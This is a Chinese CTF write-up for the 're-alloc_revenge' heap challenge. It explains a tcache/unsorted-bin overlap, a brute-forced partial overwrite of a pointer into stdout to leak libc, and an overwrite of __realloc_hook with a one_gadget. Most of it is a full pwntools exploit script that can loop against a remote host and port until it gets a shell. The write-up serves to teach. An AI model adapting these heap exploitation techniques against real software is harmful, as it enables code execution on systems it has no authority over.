题目分析

防护比re-alloc多了FULL RELRO和PIE。其他没有改变。

总体思路

程序没有show函数,所以通过修改stdout的方式泄露libc。

将一个chunk同时释放到tcache和unsorted bin,partial overwrite fd部分,指向stdout,需要爆破4bit。取得stdout后修改进行泄露。

最后修改__realloc_hook为one_gadget得到shell。

主要难点在布局构造。

partial overwrite指向stdout

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 将chunk(0x70)分割成0x20和0x50的两块,造成overlap
# 便于后续修改chunk(0x50)的size
allocate(0, 0x68, "A")
realloc(0, 0, "")
realloc(0, 0x18, "A")
free(0)

# double free chunk(0x50)
allocate(0, 0x48, "B")
realloc(0, 0, "")
realloc(0, 0x48, "B"*0x10)
free(0)

# 修改chunk(0x50)的size
allocate(0, 0x48, "C")
allocate(1, 0x68, b"C"*0x18+p64(0x451))
free(1)

# bypass prev_inuse(nextchunk) check in free function
for i in range(9):
    allocate(1, 0x58, "D")
    realloc(1, 0x78, "D")
    free(1)
# free to unsorted bin
realloc(0, 0, "")
# partial overwrite to stdout
realloc(0, 0x38, b"\x60\xa7")

tips

本地写exploit的时候,可以在process中指定参数aslr=False,禁用随机化,避免爆破,便于调试。

exploit

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./re-alloc_revenge"
locallibc = "./libc.so.6"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

def allocate(idx, size, data):
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil("Index:")
    io.sendline(str(idx))
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data:")
    io.send(data)

def realloc(idx, size, data):
    io.recvuntil("Your choice:")
    io.sendline("2")
    io.recvuntil("Index:")
    io.sendline(str(idx))
    io.recvuntil("Size:")
    io.sendline(str(size))
    if size != 0:
        io.recvuntil("Data:")
        io.send(data)

def free(idx):
    io.recvuntil("Your choice:")
    io.sendline("3")
    io.recvuntil("Index:")
    io.sendline(str(idx))

def exp():
    one_gadget = 0x106ef8

    allocate(0, 0x48, "A")
    free(0)

    allocate(0, 0x68, "A")
    realloc(0, 0, "")
    realloc(0, 0x18, "A")
    free(0)

    allocate(0, 0x48, "B")
    realloc(0, 0, "")
    realloc(0, 0x48, "B"*0x10)
    free(0)

    allocate(0, 0x48, "C")
    allocate(1, 0x68, b"C"*0x18+p64(0x451))
    free(1)

    for i in range(9):
        allocate(1, 0x58, "D")
        realloc(1, 0x78, "D")
        free(1)
    
    # 0x60 count++
    allocate(1, 0x58, "A")
    free(1)

    realloc(0, 0, "")
    realloc(0, 0x38, b"\x60\xa7")
    # gdb.attach(io, """b menu
    # b read_input
    # """)
    allocate(1, 0x48, "E")
    realloc(1, 0x18, "E")
    free(1)
    realloc(0, 0x18, "E"*0x10)
    free(0)

    # gdb.attach(io, "b menu")

    allocate(0, 0x48, p64(0xfbad1800)+p64(0)*2+b"leak:".rjust(8, b"\x00"))

    if len(io.recvuntil("leak:", timeout=1)) == 0:
        log.debug("failed")
        return
    libc_base = u64(io.recv(8)) - 0x1E5700
    pf("libc_base", libc_base)

    # gdb.attach(io, "b menu")

    allocate(1, 0x78, "F")
    realloc(1, 0, "")
    realloc(1, 0x18, "F"*0x10)
    free(1)
    # gdb.attach(io, "b menu")
    allocate(1, 0x78, b"F"*0x18+p64(0x61)+p64(libc_base+libc.sym["__realloc_hook"]))
    free(1)

    allocate(1, 0x58, "G")
    realloc(1, 0x28, "G")
    free(1)

    # gdb.attach(io, "b realloc")
    # allocate(1, 0x58, p64(libc_base+libc.sym["malloc"])+p64(libc_base+one_gadget))
    allocate(1, 0x58, p64(libc_base+one_gadget))

    io.recvuntil("Your choice: ")
    io.sendline("2")
    io.recvuntil("Index:")
    io.sendline("1")
    io.recvuntil("Size:")
    io.sendline(str(0x58))
    
    io.interactive()

elf = ELF(localfile)
libc = ELF(locallibc)

while True:
# if True:
    try:
        print("----------------------------------------------------------")
        argc = len(sys.argv)
        if argc == 1:
            # io = process(localfile, aslr=False)
            io = process(localfile)
        else:
            if argc == 2:
                host, port = sys.argv[1].split(":")
            elif argc == 3:
                host = sys.argv[1]
                port = sys.argv[2]
            io = remote(host, port)

        exp()
    except:
        io.close()

ref

  1. https://n0nop.com/2020/03/18/pwn-heap-re-alloc-revenge/#%E9%A2%98%E7%9B%AE%E6%8F%8F%E8%BF%B0

  2. http://blog.eonew.cn/archives/1190